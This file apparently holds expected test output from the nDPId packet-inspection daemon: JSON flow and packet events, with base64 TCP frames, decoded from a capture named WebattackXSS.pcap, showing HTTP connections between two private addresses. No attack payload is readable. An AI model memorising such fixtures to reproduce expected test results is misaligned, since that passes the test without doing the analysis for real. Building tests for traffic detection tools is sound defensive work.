+00433{"flow_id":608,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8661,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348011,"pkt_ts_usec":903791,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0S+BAAEAGd\/jAqAoyrBAAAQBQiKQqwf7BKrDqpoARAOOZLQAAAQEICgPmtSEBPOOt"} +00432{"flow_id":608,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8662,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348011,"pkt_ts_usec":904532,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NJxAAD4GkTysEAABwKgKMoikAFAqsOqmKsH+woAQAOWZKwAAAQEICgE8460D5rUh"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8666,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":612,"flow_packet_id":1,"flow_first_seen":1499348012728,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35048,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":612,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8666,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348012,"pkt_ts_usec":728762,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8MbdAAD4GlBmsEAABwKgKMojoAFBoxNXMAAAAAKACchCxggAAAgQFtAQCCAoBPOR7AAAAAAEDAwc="} +00444{"flow_id":612,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8667,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348012,"pkt_ts_usec":728872,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiOhwV55UaMTVzaAScSDp3wAAAgQFtAQCCAoD5rXvATzkewEDAwc="} +00432{"flow_id":612,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8668,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348012,"pkt_ts_usec":729471,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MbhAAD4GlCCsEAABwKgKMojoAFBoxNXNcFeeVYAQAOWI5wAAAQEICgE85HsD5rXv"} +00432{"flow_id":609,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8672,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348012,"pkt_ts_usec":903526,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+WNAAD4GzHSsEAABwKgKMoiyAFBEayYZa+R7X4ARAOWJaQAAAQEICgE85KcD5rDt"} +00432{"flow_id":609,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8673,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348012,"pkt_ts_usec":903735,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0zURAAEAG9pPAqAoyrBAAAQBQiLJr5HtfRGsmGoARAOOEPAAAAQEICgPmthsBPOSn"} +00432{"flow_id":609,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8674,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348012,"pkt_ts_usec":904486,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+WRAAD4GzHOsEAABwKgKMoiyAFBEayYaa+R7YIAQAOWEOgAAAQEICgE85KcD5rYb"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8684,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":613,"flow_packet_id":1,"flow_first_seen":1499348015250,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35074,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":613,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8684,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348015,"pkt_ts_usec":250467,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8SaJAAD4GfC6sEAABwKgKMokCAFA1NK9QAAAAAKACchAI\/gAAAgQFtAQCCAoBPObyAAAAAAEDAwc="} +00444{"flow_id":613,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8685,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348015,"pkt_ts_usec":250592,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiQJJKiEWNTSvUaAScSDjTwAAAgQFtAQCCAoD5rhmATzm8gEDAwc="} +00432{"flow_id":613,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8686,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348015,"pkt_ts_usec":251161,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SaNAAD4GfDWsEAABwKgKMokCAFA1NK9RSSohF4AQAOWCVwAAAQEICgE85vID5rhm"} +00432{"flow_id":610,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8690,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348015,"pkt_ts_usec":904241,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01atAAD4G8CysEAABwKgKMojMAFACvDRdSkOoiYARAOWrxwAAAQEICgE855UD5rNp"} +00432{"flow_id":610,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8691,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348015,"pkt_ts_usec":904505,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0EYBAAEAGsljAqAoyrBAAAQBQiMxKQ6iJArw0XoARAOOmKAAAAQEICgPmuQkBPOeV"} +00432{"flow_id":610,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8692,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348015,"pkt_ts_usec":905252,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA01axAAD4G8CusEAABwKgKMojMAFACvDReSkOoioAQAOWmJgAAAQEICgE855UD5rkJ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8696,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":614,"flow_packet_id":1,"flow_first_seen":1499348016526,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35088,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":614,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8696,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348016,"pkt_ts_usec":526028,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA82X9AAD4G7FCsEAABwKgKMokQAFAj2zFPAAAAAKACchCXDAAAAgQFtAQCCAoBPOgwAAAAAAEDAwc="} +00445{"flow_id":614,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8697,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348016,"pkt_ts_usec":526157,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiRBmO\/1xI9sxUKAScSB2swAAAgQFtAQCCAoD5rmkATzoMAEDAwc="} +00432{"flow_id":614,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8698,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348016,"pkt_ts_usec":526896,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02YBAAD4G7FesEAABwKgKMokQAFAj2zFQZjv9coAQAOUVugAAAQEICgE86DED5rmk"} +00433{"flow_id":611,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8702,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348016,"pkt_ts_usec":904284,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09\/dAAD4GzeCsEAABwKgKMojaAFB2oBTDZRw24oARAOWsAQAAAQEICgE86I8D5rSr"} +00432{"flow_id":611,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8703,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348016,"pkt_ts_usec":904566,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0jOFAAEAGNvfAqAoyrBAAAQBQiNplHDbidqAUxIARAOOmqgAAAQEICgPmugMBPOiP"} +00433{"flow_id":611,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8704,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348016,"pkt_ts_usec":905272,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09\/hAAD4Gzd+sEAABwKgKMojaAFB2oBTEZRw244AQAOWmqAAAAQEICgE86I8D5roD"} +00432{"flow_id":612,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8711,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348017,"pkt_ts_usec":904556,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MblAAD4GlB+sEAABwKgKMojoAFBoxNXNcFeeVYARAOWD2AAAAQEICgE86YkD5rXv"} +00432{"flow_id":612,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8712,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348017,"pkt_ts_usec":904775,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0JKhAAEAGnzDAqAoyrBAAAQBQiOhwV55VaMTVzoARAON+ywAAAQEICgPmuv0BPOmJ"} +00432{"flow_id":612,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8713,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348017,"pkt_ts_usec":905547,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MbpAAD4GlB6sEAABwKgKMojoAFBoxNXOcFeeVoAQAOV+yQAAAQEICgE86YkD5rr9"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8717,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":615,"flow_packet_id":1,"flow_first_seen":1499348019059,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35114,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":615,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8717,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348019,"pkt_ts_usec":59002,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8bDdAAD4GWZmsEAABwKgKMokqAFBENIadAAAAAKACchAe0QAAAgQFtAQCCAoBPOqqAAAAAAEDAwc="} +00443{"flow_id":615,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8718,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348019,"pkt_ts_usec":59168,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiSoKVvNnRDSGnqAScSBh7QAAAgQFtAQCCAoD5rweATzqqgEDAwc="} +00431{"flow_id":615,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8719,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348019,"pkt_ts_usec":59893,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bDhAAD4GWaCsEAABwKgKMokqAFBENIaeClbzaIAQAOUA9QAAAQEICgE86qoD5rwe"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8723,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":574,"flow_packet_id":6,"flow_first_seen":1499347948293,"flow_last_seen":1499347953886,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34372,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8723,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":574,"flow_packet_id":6,"flow_first_seen":1499347948293,"flow_last_seen":1499347953886,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34372,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8723,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":575,"flow_packet_id":6,"flow_first_seen":1499347949587,"flow_last_seen":1499347954886,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34386,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8723,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":575,"flow_packet_id":6,"flow_first_seen":1499347949587,"flow_last_seen":1499347954886,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34386,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8723,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":576,"flow_packet_id":6,"flow_first_seen":1499347952161,"flow_last_seen":1499347957887,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34412,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8723,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":576,"flow_packet_id":6,"flow_first_seen":1499347952161,"flow_last_seen":1499347957887,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34412,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8723,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":577,"flow_packet_id":6,"flow_first_seen":1499347953439,"flow_last_seen":1499347958887,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34426,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8723,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":577,"flow_packet_id":6,"flow_first_seen":1499347953439,"flow_last_seen":1499347958887,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34426,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8723,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":578,"flow_packet_id":6,"flow_first_seen":1499347954738,"flow_last_seen":1499347959887,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34440,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8723,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":578,"flow_packet_id":6,"flow_first_seen":1499347954738,"flow_last_seen":1499347959887,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34440,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8723,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":573,"flow_packet_id":6,"flow_first_seen":1499347945720,"flow_last_seen":1499347950886,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34346,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8723,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":573,"flow_packet_id":6,"flow_first_seen":1499347945720,"flow_last_seen":1499347950886,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34346,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8726,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":616,"flow_packet_id":1,"flow_first_seen":1499348020357,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35128,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":616,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8726,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348020,"pkt_ts_usec":357295,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8MF5AAD4GlXKsEAABwKgKMok4AFAr8NuwAAAAAKACchDgrwAAAgQFtAQCCAoBPOvuAAAAAAEDAwc="} +00445{"flow_id":616,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8727,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348020,"pkt_ts_usec":357391,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiTgvWFvMK\/DbsaAScSCVIQAAAgQFtAQCCAoD5r1iATzr7gEDAwc="} +00432{"flow_id":616,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8728,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348020,"pkt_ts_usec":358178,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MF9AAD4GlXmsEAABwKgKMok4AFAr8NuxL1hbzYAQAOU0KQAAAQEICgE86+4D5r1i"} +00432{"flow_id":613,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8732,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348020,"pkt_ts_usec":904958,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SaRAAD4GfDSsEAABwKgKMokCAFA1NK9RSSohF4ARAOV80QAAAQEICgE87HcD5rhm"} +00432{"flow_id":613,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8733,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348020,"pkt_ts_usec":905225,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0nPxAAEAGJtzAqAoyrBAAAQBQiQJJKiEXNTSvUoARAON3TQAAAQEICgPmvesBPOx3"} +00432{"flow_id":613,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8734,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348020,"pkt_ts_usec":905968,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SaVAAD4GfDOsEAABwKgKMokCAFA1NK9SSSohGIAQAOV3SwAAAQEICgE87HcD5r3r"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8738,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":617,"flow_packet_id":1,"flow_first_seen":1499348021660,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35142,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":617,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8738,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348021,"pkt_ts_usec":660105,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8T85AAD4GdgKsEAABwKgKMolGAFAJiKL6AAAAAKACchA6egAAAgQFtAQCCAoBPO00AAAAAAEDAwc="} +00444{"flow_id":617,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8739,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348021,"pkt_ts_usec":660260,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiUb24raMCYii+6AScSDLWgAAAgQFtAQCCAoD5r6oATztNAEDAwc="} 